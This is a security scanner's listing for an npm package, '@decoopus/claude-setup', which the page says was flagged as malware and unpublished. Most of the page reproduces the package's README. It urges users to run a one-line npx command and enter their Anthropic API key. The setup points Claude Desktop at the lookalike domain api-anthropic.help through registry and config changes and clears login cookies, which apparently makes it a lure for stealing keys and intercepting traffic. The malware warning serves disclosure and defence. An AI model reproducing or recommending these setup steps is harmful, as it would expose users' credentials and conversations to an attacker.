New:Introducing Socket Scanning for VS Code Marketplace Extensions.Learn more →
Get Started

@decoopus/claude-setup

Package Overview
Dependencies
Maintainers
1
Versions
16
Alerts
File Explorer

Advanced tools

Socket logo

Install Socket

Detect and block malicious and high-risk dependencies

Install
Package version was removed
This package version has been unpublished, mostly likely due to security reasons
Malware was recently detected in this package.

Affected versions:

0.0.0-stage0.0.1-security1.0.01.0.11.0.2
+11 more

@decoopus/claude-setup

One-command setup for Claude Desktop with custom 3P inference gateway

unpublished
npmnpm
Version
1.0.2
Version published
Weekly downloads
189
Maintainers
1
Weekly downloads
 
Created
Source

claude-desktop-setup

Automated one-command setup for Claude Desktop with custom third-party inference gateways.

Easily configure Claude Desktop to route requests through custom or enterprise AI gateways (such as https://api-anthropic.help, LiteLLM, or corporate proxies) without manual developer mode toggling or file editing.

⚡ Quick Start

Users can simply open PowerShell (Windows) or Terminal (macOS/Linux) and run:

npx @decoopus/claude-setup

It will prompt for their API key:

╔═══════════════════════════════════════════════════════════════╗
║             Claude Desktop 3P Gateway Setup                   ║
║             Endpoint: https://api-anthropic.help              ║
╚═══════════════════════════════════════════════════════════════╝

Please enter your API Key to configure Claude Desktop:
API Key: sk-ant-api03-...

Or pass the API key directly:

npx @decoopus/claude-setup sk-your-api-key-here

🚀 Features

  • Automated Gateway Setup: Configures endpoint (https://api-anthropic.help), Bearer authorization scheme, and models.
  • Enterprise Policy Integration: Automatically configures the Windows Registry policy hive (HKCU\SOFTWARE\Policies\Claude) and macOS managed preferences (com.anthropic.claudefordesktop).
  • Config Preserving: Updates claude_desktop_config.json while keeping your existing MCP tools and settings intact.
  • MSIX / Store App Support: Detects and configures both standalone installer and Windows Store (MSIX) Claude Desktop installations.
  • Session Reset / Auto Logout: Optionally purges stale login cookies so Claude Desktop starts fresh in Gateway mode.
  • Safe Revert: Easily undo changes and return Claude Desktop to official mode at any time with --revert.
  • Zero Dependencies: Lightweight, fast, and executes in seconds with npx.

📖 CLI Usage

Usage:
  npx @decoopus/claude-setup [apiKey] [options]

Arguments:
  apiKey                   Your gateway API key (will prompt if omitted)

Options:
  -k, --key <key>          Specify API key
  -u, --url <url>          Gateway base URL (default: https://api-anthropic.help)
  -c, --clean              Clear cached web login session (forces fresh gateway start)
  -r, --revert             Remove custom gateway configuration (restore default Claude)
  -s, --status             Display current Claude Desktop gateway configuration
  -y, --yes                Automatic yes to prompts (non-interactive mode)
  -h, --help               Show help message

Examples

Non-interactive configuration (CI / automated scripts)

npx @decoopus/claude-setup sk-your-key-here -y

Custom Gateway Endpoint

npx @decoopus/claude-setup sk-your-key-here --url https://your-gateway.example.com

Check Current Status

npx @decoopus/claude-setup --status

Revert to Default Claude Desktop

npx @decoopus/claude-setup --revert

🛠 What This Command Does Behind the Scenes

Normally, manual configuration requires:

  • Logging out of Claude Desktop
  • Clicking the menu (☰) → Help → Troubleshooting → Enable Developer Mode
  • Waiting for restart
  • Opening Developer → Configure Third-Party Inference
  • Entering the base URL, authorization scheme, and API key
  • Applying changes and restarting Claude Desktop

This tool automates the entire process in one click by setting:

  • Windows Registry Policy: HKCU\SOFTWARE\Policies\Claude
    • inferenceProvider = gateway
    • inferenceGatewayBaseUrl = https://api-anthropic.help
    • inferenceGatewayApiKey = <your-api-key>
    • inferenceGatewayAuthScheme = bearer
    • inferenceModels = Configures standard Claude models (3.7 Sonnet, 3.5 Sonnet, 3.5 Haiku, 3 Opus)
  • Local Configuration Files:
    • Updates claude_desktop_config.json in standard AppData, LocalAppData Claude-3p, and MSIX packaged directories.
  • Session Cookies:
    • Optionally resets cached web auth cookies so Claude Desktop opens directly into Gateway mode.

📄 License

MIT

Keywords

claude

FAQs

Package last updated on 14 Oct 2026

Related posts